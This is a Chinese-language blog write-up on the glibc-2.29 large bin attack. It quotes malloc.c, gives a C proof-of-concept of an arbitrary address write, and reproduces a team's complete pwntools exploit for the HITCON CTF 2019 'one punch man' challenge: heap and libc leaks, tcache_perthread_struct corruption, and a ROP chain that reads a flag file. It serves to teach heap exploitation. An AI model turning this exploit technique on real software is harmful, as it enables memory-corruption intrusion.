glibc-2.29 large bin attack 原理

TOC

  1. 1. unsorted bin attack
  2. 2. large bin attack
  3. 3. 样例代码
  4. 4. 例题 - HITCON CTF 2019 PWN - one punch man

该方法并非笔者发现,而是阅读 balsn 的 writeup 时分析而得到的,这里介绍一下这种攻击方法。

unsorted bin attack

在介绍新的攻击技术之前,先来缅怀一下 unsorted bin attack , 由于 glibc-2.29 新上的保护措施,使得 unsorted bin attack 基本已经成为过去式。

unsorted bin attack 的原理是利用 unsorted bin 在解链时,对 fd 指针的操作,直接的作用就是可以任意地址写入一个 main_arena 地址值,非常好用的攻击方法。虽然 glibc-2.29 不能使用 unsorted bin attack 了,但是 large bin attack 或许可以成为它的代替品。

large bin attack

glibc-2.29 的 large bin attack 和先前的并不完全一样,但是原理类似。

其主要发生在 large bin 的 nextsize 成环时,没有对其进行检查,所以只要存在 UAF 漏洞,就能修改 nextsize 指针进行任意地址写入 chunk 地址的操作。

漏洞主要发生在下列代码(来自 glibc-2.29/malloc/malloc.c:3841 ):

      victim_index = largebin_index (size); 
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; // one
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

// but size must be different
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; // two
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;

large bin 是以 victim_index 为单位进行 nextsize 之间的成环操作,每个 victim_index 的长度是 0x40,上面的代码是 unsorted bin 进行归位 操作时,将 本属于该环的 victim 插入到该环中。但是这里却没有 unsorted bin 那样对指针进行检查。

由于 large bin 是双向链表,插入操作并不会对整个环进行检查,这里我们只需要劫持 其 bk_nextsize 指针,那么在插入的时候,程序便会把该假的地址当成一个真的 chunk 从而进行双向链表插入操作,这样就会使得 该要插入的 chunk 将会留下它的地址到我们 设置的任意地址。

其核心代码是victim->bk_nextsize = fwd->fd->bk_nextsize; // one或者victim->bk_nextsize->fd_nextsize = victim; // two,就是在这里完成了写操作,具体执行哪段代码还要取决与 两个chunk 的size 比较。

这里提醒一点,两个chunk 的size不能相同,否则会执行下面程序流而导致不能实现我们的目的。

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;

其次是 large bin 的 fd_nextsize 需要设置为0,否则程序流会执行到下面的代码进行unlink 操作,那么就无法通过 unlink 对 large bin 的 bk_nextsize 和 fd_nextsize 检查。

来自 glibc-2.29/malloc/malloc.c:4049

size = chunksize (victim);

/* We know the first chunk in this bin is big enough to use. */
assert ((unsigned long) (size) >= (unsigned long) (nb));

remainder_size = size - nb;

/* unlink */
unlink_chunk (av, victim);

样例代码


#include <stdio.h>
#include <stdlib.h>

size_t buf[0x10];

int main()
{
size_t *ptr, *ptr2, *ptr3;
setbuf(stdout, NULL);

ptr = malloc(0x438);
malloc(0x18);
ptr2 = malloc(0x448);
malloc(0x18);
free(ptr);
// put ptr into large bin
malloc(0x600);
free(ptr2);
ptr[2] = 0;
ptr[3] = (size_t)&buf[0];

printf("buf[4]: 0x%lx\n", buf[4]);
ptr3 = malloc(0x68);
printf("buf[4]: 0x%lx\n", buf[4]);

return 0;
}

buf[4]就相当于 fake_chunk->fd_nextsize 指针,指向该节点的上一个节点。

执行结果如下所示:

buf[4]: 0x0
buf[4]: 0x560075a246b0

例题 - HITCON CTF 2019 PWN - one punch man

文件链接:one_punch_man.zip

该程序主要的漏洞就是在delete时没有清理指针,导致UAF。

void delete()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]

write_str("idx: ");
v0 = get_int();
if ( v0 > 2 )
error((__int64)"invalid");
free((void *)heros[v0].calloc_ptr);
}

程序预置了后门函数,但是在tcache上有限制,必须要我们劫持tcache_perthread_struct才行,这里有两种思路,我自己的做法是劫持tcache_perthread_struct->entries,这里由于和本文章关系不大,这里我简要说下核心思路:利用tcache_perthread_struct->counts 伪造 size,然后利用 unlink 使得chunk overlap,然后控制其tcache_perthread_struct->entries

第二种做法就是 balsn 战队的做法,很优秀的方法,核心思路就是利用 large bin attack 修改 tcache_perthread_struct->counts 来使用预置后门,然后用 add 当中的缓冲区进行 ROP。

下面是 balsn 的脚本。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763

r = process('./one_punch')

binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
libc = ELF("./libc-2.29.so")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")

def name(index, name):
r.recvuntil("> ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)
pass

def rename(index,name):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)

pass

def d(index):
r.recvuntil("> ")
r.sendline("4")
r.recvuntil(": ")
r.sendline(str(index))
pass

def show(index):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(index))

def magic(data):
r.recvuntil("> ")
r.sendline(str(0xc388))
time.sleep(0.1)
r.send(data)

# if len(sys.argv) == 1:
# r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})

# else:
# r = remote(host ,port)

if __name__ == '__main__':
name(0,"A"*0x210)
d(0)
name(1,"A"*0x210)
d(1)
show(1)
r.recvuntil(" name: ")
heap = u64(r.recv(6).ljust(8,"\x00")) - 0x260
print("heap = {}".format(hex(heap)))
for i in xrange(5):
name(2,"A"*0x210)
d(2)
name(0,"A"*0x210)
name(1,"A"*0x210)
d(0)
show(0)
r.recvuntil(" name: ")
libc = u64(r.recv(6).ljust(8,"\x00")) - 0x1e4ca0
print("libc = {}".format(hex(libc)))
d(1)
rename(2,p64(libc + 0x1e4c30))

name(0,"D"*0x90)
d(0)
for i in xrange(7):
name(0,"D"*0x80)
d(0)
for i in xrange(7):
name(0,"D"*0x200)
d(0)

name(0,"D"*0x200)
name(1,"A"*0x210)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)

d(0)
d(1)
name(0,"A"*0x80)
name(1,"A"*0x80)
d(0)
d(1)
name(0,"A"*0x88 + p64(0x421) + "D"*0x180 )
name(2,"A"*0x200)
d(1)
d(2)
name(2,"A"*0x200)
rename(0,"A"*0x88 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )
d(0)
d(2)

// pause()
name(0,"/home/ctf/flag\x00\x00" + "A"*0x1f0)
magic("A")
add_rsp48 = libc + 0x000000000008cfd6
pop_rdi = libc + 0x0000000000026542
pop_rsi = libc + 0x0000000000026f9e
pop_rdx = libc + 0x000000000012bda6
pop_rax = libc + 0x0000000000047cf8
syscall = libc + 0xcf6c5
magic( p64(add_rsp48))

name(0,p64(pop_rdi) + p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
)
r.interactive()

在上面的 // pause()处暂停,查看其bin情况。

pwndbg> largebins 
largebins
0x400: 0x56224269a4c0 —▸ 0x7f455f1dd090 (main_arena+1104) ◂— 0x56224269a4c0
pwndbg> x/6gx 0x56224269a4c0
0x56224269a4c0: 0x4141414141414141 0x0000000000000421
0x56224269a4d0: 0x00007f455f1dd090 0x00007f455f1dd090
0x56224269a4e0: 0x0000000000000000 0x0000562242698010
pwndbg>

这里构造好了 large bin attack,当进行 unsorted bin 归位时,便会修改tcache_perthread_struct->counts